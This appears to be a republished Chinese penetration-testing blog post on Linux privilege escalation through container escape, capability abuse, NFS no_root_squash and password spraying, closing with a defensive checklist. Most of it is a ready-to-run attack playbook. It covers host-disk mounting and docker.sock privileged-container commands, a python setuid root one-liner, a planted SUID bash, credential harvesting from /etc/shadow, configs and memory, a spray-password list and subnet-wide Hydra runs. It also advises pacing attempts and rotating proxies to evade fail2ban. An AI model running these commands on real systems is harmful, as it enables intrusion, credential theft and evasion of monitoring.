从容器逃逸到提权全拿:Linux提权的四种进阶手法

admin 2026-08-04 05:27:14 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详解Linux环境四种进阶提权手法:容器逃逸、Capabilities滥用、NFS共享提权及密码喷洒。指出容器与配置缺陷是当前核心突破口。建议蓝队通过禁用特权容器、审计高危Capabilities、确保NFS使用root_squash及强化密码策略与监控告警来封堵攻击路径,提升内网安全防御能力。 综合评分: 90 文章分类: 内网渗透,渗透测试,云安全,安全建设


cover_image

从容器逃逸到提权全拿:Linux提权的四种进阶手法

原创

安全值班室 安全值班室

安全值班室

2026年7月4日 10:00 河北

在小说阅读器读本章

去阅读

内网渗透中,Linux环境下的提权往往比Windows更隐蔽,但一旦找到突破口,效果却一点不差。上一期我们聊了SUID滥用、sudo配置错误和内核漏洞这些基础提权手法。兄弟们反馈最多的是一句话——”基础手法试了一圈没找到突破口”。这很正常。现在的Linux服务器越来越硬,基础漏洞越来越少。真正能拉开差距的,是在容器、配置、共享服务这些”非传统”路径上找到的提权机会。这一期,往上走一层,看看真正让蓝队头疼的四种进阶Linux提权技术。

📌 本期速览 容器逃逸 → Capabilities滥用 → NFS共享提权 → 密码喷洒。四种手法,从最技术的到最不讲武德的,一条线走下来。蓝队也可以反过来对照这份清单做自查。

一、容器逃逸:你不是在宿主机上,但你可以出去现在容器部署太普遍了。渗透测试中经常遇到的情况:拿了一个WebShell,执行hostname返回一串随机字符,/proc/1/cgroup里写着docker。恭喜,你掉进了容器里。遇到这种情况,先别慌。容器不代表安全——只要配置有漏洞,逃逸出去拿到宿主机只是时间问题。常见的逃逸路径有三条:▎ 1. 特权容器逃逸(–privileged)最直接的逃逸。启动容器时加了--privileged参数,相当于容器拥有了宿主机几乎所有内核能力。检测和利用方法如下:

# 检测是否是特权容器
cat /proc/self/status | grep CapEff
# 返回 0000003fffffffff 或 ffffffffffffffff → 大概率是特权容器

# 利用:挂载宿主机磁盘
fdisk -l | grep /dev/sd
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host bash
# 你现在就在宿主机上

这个手法的前提是容器内有mount命令。有些精简镜像没有,可以用nsenter或者通过操作/proc/1/ns切换命名空间来代替。▎ 2. SYS_ADMIN + 宿主机设备挂载没有--privileged,但有SYS_ADMIN capability,配合挂载宿主机设备同样能逃逸:

# 检查是否有 SYS_ADMIN
cat /proc/self/status | grep CapBnd

# 利用
mkdir /tmp/rootfs
mount /dev/sda1 /tmp/rootfs
chroot /tmp/rootfs /bin/bash

▎ 3. Docker Socket 挂载(最常见)很多管理容器会把宿主机的/var/run/docker.sock挂载到容器内。这意味着容器内可以直接操作宿主机的Docker守护进程:

# 检查 docker.sock 是否存在
ls -la /var/run/docker.sock

# 直接启动一个挂载根目录的特权容器
export DOCKER_HOST=unix:///var/run/docker.sock
# 或用 curl 调用 API
curl -s --unix-socket /var/run/docker.sock \
  -X POST http://localhost/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"ubuntu:latest","Cmd":["/bin/bash"],"Binds":["/:/host:rw"],"HostConfig":{"Privileged":true}}'

⚠️ 踩坑记录 有一次通过容器逃逸拿到了宿主机root,结果发现宿主机本身是一个KVM虚拟机。从Docker容器 → 宿主机Linux → KVM虚拟机 → 宿主机物理机,每一步都需要特定的提权手法。容器逃逸只是第一步,不是终点。

二、Linux Capabilities 滥用:权限碎片的危险拼图Linux Capabilities 把root权限拆成了40多个小权限单位。设计初衷是好的——让程序只需要最小的特权就能运行——但在实际内网环境中,Capabilities配置经常出问题。最常见的情况是:运维给可执行文件直接加了一个capability,完全没考虑这个文件是不是解释器(python、perl、ruby这些)。结果解释器带着特权能力运行,用一行代码就能提权到root。▎ 高危Capabilities清单

| Capability | 危险等级 | 说明 | | — | — | — | | CAP_SYS_ADMIN | 🔴 高危 | 几乎是root的通行证 | | CAP_DAC_OVERRIDE | 🔴 高危 | 忽略文件权限,可读任意文件 | | CAP_NET_RAW | 🟠 中危 | 允许原始套接字(ARP欺骗等) | | CAP_SETUID | 🔴 高危 | 可任意设置UID,直接切到root |

# 检查当前进程的 capabilities
getpcaps 1234

# 检查二进制文件的 capabilities
getcap /usr/bin/python3
# 如果输出 → /usr/bin/python3 = cap_setuid+ep

# 全盘扫描危险capabilities
find /usr -type f -exec getcap {} \; 2>/dev/null | grep -E "cap_setuid|cap_sys_admin|cap_dac_override"

如果python3perl这类解释器被设置了cap_setuid+ep,提权就是一行命令的事:

python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

实战中碰到过一个案例:某容器编排工具的Agent程序为了读取宿主机配置,被设置了CAP_DAC_OVERRIDE。攻击者通过注入恶意参数触发Agent执行任意文件读取,直接拿走了/etc/shadow。所以记住一点——不要给解释器加capability,没有例外。三、NFS 共享提权:共享目录里的陷阱内网里的NFS共享也是提权的热门跳板。核心问题出在no_root_squash这个选项上。默认情况下,NFS会把root用户映射成nobody,防止远端root以root身份操作服务端文件。但如果管理员为了方便配置了no_root_squash,那就等于把服务器root权限拱手送人了。

# 先查看挂载了哪些NFS共享
df -h | grep nfs
showmount -e 192.168.1.100

# 测试 no_root_squash
# 在攻击机上以root身份操作共享目录
mount -t nfs 192.168.1.100:/shared /mnt/nfs_test
cd /mnt/nfs_test
cp /bin/bash .
chown root:root bash
chmod u+s bash

# 回到目标服务器上执行
./bash -p
# -p 让bash不丢弃SUID权限

注意这个利用的前提:你的攻击机也要在同一个NFS网段内,并且能以root身份挂载共享。实战中更常见的场景是——你控制了内网一台机器,这台机器刚好挂载了某个NFS共享,且共享配置了no_root_squash。这时候你只要在共享目录里创建一个SUID文件,再切换回目标服务器执行,就能拿到root。四、密码复用与密码喷洒:不需要技术,需要耐心四篇里面最不依赖技术、但成功率最高的方法。严格来说不算”提权”技术,但实战中通过密码拿到root权限的场景,比前面三个加起来还多。很多安全团队把大量精力花在防漏洞上,但弱密码和密码复用问题始终是最大的安全隐患。▎ 密码文件收集清单

cat /etc/shadow                         # 需要root
find / -name "*.conf" -exec grep -l "password" {} \;
cat /var/log/auth.log | grep "password"
find /home -name "*.bash_history" -exec cat {} \;
grep -rn "password\|passwd" /etc/ 2>/dev/null
strings /dev/mem | grep -i "password"

▎ 密码喷洒拿到一批用户名(可以通过bloodhound、LDAP查询或从/etc/passwd里提取),用一两个常见密码批量尝试。关键技巧:不要对同一个用户多次尝试(会触发锁定),而是对多个用户尝试同一个密码。常见喷洒密码清单:Welcome@2026Admin@123Qwer1234!Passw0rdP@ssw0rd2026。每年护网期间,这些密码至少能扫出一两个弱口令账号。

# 使用 Hydra
hydra -L users.txt -p "Welcome@2026" ssh://192.168.1.0/24

# 使用 crackmapexec
crackmapexec ssh 192.168.1.0/24 -u users.txt -p "Welcome@2026"

⚠️ 踩坑记录 密码喷洒一定要控制速率。有一个真实的教训:某次渗透测试中,没注意频率,3分钟试了200个账号同一个密码,结果触发了fail2ban,整个C段IP被封了24小时。正确做法是每10秒试一个账号,配合代理池分散源IP。

蓝队防御清单:五步封堵

1️⃣ 容器安全基线 — 禁止--privileged模式运行容器,禁止挂载docker.sock到容器内,使用只读根文件系统。用docker bench security做自动检查。 2️⃣ Capabilities审计 — 建立二进制文件Capabilities白名单。解释器(python/perl/ruby)禁止设置cap_setuidcap_sys_admingetcap扫描纳入安全基线检查。 3️⃣ NFS加固 — 确认所有NFS导出使用root_squash,限制可访问IP段,使用nosuidnoexec挂载选项。 4️⃣ 密码策略 — 启用密码复杂性要求,禁用历史密码复用,部署堡垒机统一认证,关闭SSH密码登录改用密钥。 5️⃣ 监控告警 — 部署Auditd监控chrootmountsetuid系统调用。对容器逃逸和suid提权行为设置实时告警。


觉得有用?点个在看支持一下

📌 值班员说 容器逃逸和Capabilities滥用是”云原生时代”最常见的提权入口。很多团队花大精力做Web安全,却忽略了容器编排层的安全基线。下期我们进入横向移动的世界——从Pass the Hash开始,聊聊如何带着已攻陷的主机在内网里走得更远。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全值班室 安全值班室 安全值班室《从容器逃逸到提权全拿:Linux提权的四种进阶手法》

评论:0   参与:  0